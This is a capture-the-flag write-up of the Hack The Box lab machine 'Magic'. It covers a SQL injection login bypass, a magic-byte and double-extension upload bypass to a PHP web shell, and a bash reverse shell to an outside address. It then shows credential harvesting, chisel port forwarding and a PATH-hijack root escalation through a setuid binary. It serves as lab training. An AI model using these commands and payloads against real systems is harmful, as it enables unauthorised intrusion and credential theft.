Magic Writeup
07 April 2023 #CTF #HTB #box #medium #linuxEnumeration
nmap
is like magic:
$ sudo nmap -p- -T4 -oN enum/fulltcp.nmap 10.10.10.185
[...]
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
[...]
$ ports=$(awk -F/ '/^[0-9]{1,5}\// {printf "%s,", $1}' enum/fulltcp.nmap)
$ sudo nmap -p $ports -sCV -oN enum/scripts-tcp.nmap 10.10.10.185
[...]
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 06d489bf51f7fc0cf9085e9763648dca (RSA)
| 256 11a69298ce3540c729094f6c2d74aa66 (ECDSA)
|_ 256 7105991fa81b14d6038553f8788ecb88 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Magic Portfolio
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]
HTTP
Going to the webserver, we have a image gallery type website:
Some of the images displayed are from a images/uploads
directory:
We'll keep that one in mind (you could find it via recursive directory bruteforcing or link crawling, ... or just looking at the source).
There is a link to the login page at the bottom, let's see:
Foothold
Trying common creds like admin:admin and admin:password didn't work. Next we can try SQL injection:
We need to intercept the request in Burp because there is some javascript on the page preventing us from entering spaces on the input field.
It worked, we can now access an upload page:
It only wants jpg or png files:
Even with the correct extension, it still complains:
It must be checking the magic bytes of the file to determine if it's an actual image.
We can find a list of file signatures here. We'll add the magic bytes of the jpg format to a file:
$ echo 'FF D8 FF E0 00 10 4A 46 49 46 00 01' | xxd -r -p > test.jpg
$ file test.jpg
test.jpg: JPEG image data, JFIF standard 1., segment length 16, thumbnail 0x
Whatever we add after these magic bytes, it should be considered a jpg file.
We can try mixing extensions to see what happens:
It uploaded successfully, we can view the file in /images/uploads/
:
$ curl '10.10.10.185/images/uploads/test.php.jpg?cmd=id' -o -
JFIF
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Weirdly enough, it worked. Let's get a reverse shell:
$ curl '10.10.10.185/images/uploads/test.php.jpg' --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.4/443 0>&1'"
There is a .htaccess
file the webroot. It explains why our technique worked:
www-data@ubuntu:/var/www/Magic$ cat .htaccess
<FilesMatch ".+\.ph(p([3457s]|\-s)?|t|tml)">
SetHandler application/x-httpd-php
</FilesMatch>
<Files ~ "\.(sh|sql)">
order deny,allow
deny from all
It's doing a regex to match .php
file (and .php4
, .phtml
, etc ...) but they forgot to add a '$' at the end. As a result, any file that has .php
in its name will be executed as php, even if it ends in .jpg
.
Privesc
www-data to Theseus
In the webroot, there's a db.php5
file with some creds:
www-data@ubuntu:/var/www/Magic$ cat db.php5
[...]
private static $dbName = 'Magic' ;
private static $dbHost = 'localhost' ;
private static $dbUsername = 'theseus';
private static $dbUserPassword = 'iamkingtheseus'
[...]
We can confirm this 'theseus' user exists on the box:
www-data@ubuntu:/var/www/Magic$ grep 'sh$' /etc/passwd
root:x:0:0:root:/root:/bin/bash
theseus:x:1000:1000:Theseus,,,:/home/theseus:/bin/bash
He does, but the password doesn't let us in.
Fine, we'll take a look at the database instead, but mysql
isn't installed on the box:
www-data@ubuntu:/var/www/Magic$ mysql
Command 'mysql' not found, but can be installed with:
apt install mysql-client-core-5.7
apt install mariadb-client-core-10.1
Ask your administrator to install one of them.
It is listening only on localhost, so we need to forward port 3306 to our box. We'll use chisel for that.
Firstly, upload chisel
on the target box and start the server:
www-data@ubuntu:/dev/shm$ ./chisel server -v -p 4242
2023/04/08 08:20:15 server: Fingerprint fjBisGvIZQMjIsAFsobQ7Hf8M/yJbsKmW8n/ncxYF7M=
2023/04/08 08:20:15 server: Listening on http://0.0.0.0:4242
Then, we connect to the server from our attack box and specify the port forwarding:
$ chisel client -v 10.10.10.185:4242 3306:127.0.0.1:3306
2023/04/08 17:20:48 client: tun: Bound proxies
2023/04/08 17:20:49 client: Handshaking...
2023/04/08 17:20:49 client: Sending config
2023/04/08 17:20:49 client: tun: SSH connected
Here, we say that we want to open port 3306 on our attack box, and forward any traffic we receive on this port to port 3306 on the target box (on the loopback interface).
Now we can connect to the MySQL instance from our attack box:
$ mysql -h 127.0.0.1 -u theseus -piamkingtheseus
[...]
MySQL [Magic]> select * from login;
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | admin | Th3s3usW4sK1ng |
+----+----------+----------------+
We can su -l theseus
with this password.
Theseus to root
Theseus is a member of an unusual group 'users':
theseus@ubuntu:~$ groups
theseus users
Let's see what files this group has:
theseus@ubuntu:~$ find / -group users -ls 2>/dev/null
393232 24 -rwsr-x--- 1 root users 22040 Oct 21 2019 /bin/sysinfo
Just one file, and this is a setuid executable. Let's run strings
on it to see what it might be doing:
theseus@ubuntu:~$ strings /bin/sysinfo
[...]
popen() failed!
====================Hardware Info====================
lshw -short
====================Disk Info====================
fdisk -l
====================CPU Info====================
cat /proc/cpuinfo
====================MEM Usage=====================
free -h
[...]
It's fair to assume it is executing the popen
function with these commands (cat /proc/cpuinfo
, free -h
, ...). It's using a non absolute path for the commands so we can hijack it.
To exploit it , we'll start by creating a shell script called free
(or fdisk
, or cat
, ...) with the following contents:
#!/bin/sh
/bin/sh 1>&2
It's just going to execute sh
but we need to redirect stdout to stderr because stdout is messed up.
Then, we modify our PATH environment variable:
theseus@ubuntu:/dev/shm$ export PATH=/dev/shm:$PATH
theseus@ubuntu:/dev/shm$ echo $PATH
/dev/shm:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
We put the directory where our fake free
is located at the beginning, so that when the executable calls free
, the fake one is executed.
Now we just execute sysinfo
and get our root shell:
theseus@ubuntu:/dev/shm$ sysinfo
[...]
# id
uid=0(root) gid=0(root) groups=0(root),100(users),1000(theseus)
Key Takeaways
- Try to mix extensions on file uploads to discover weird behaviour
- Non absolute system command paths in setuid executable -> free privesc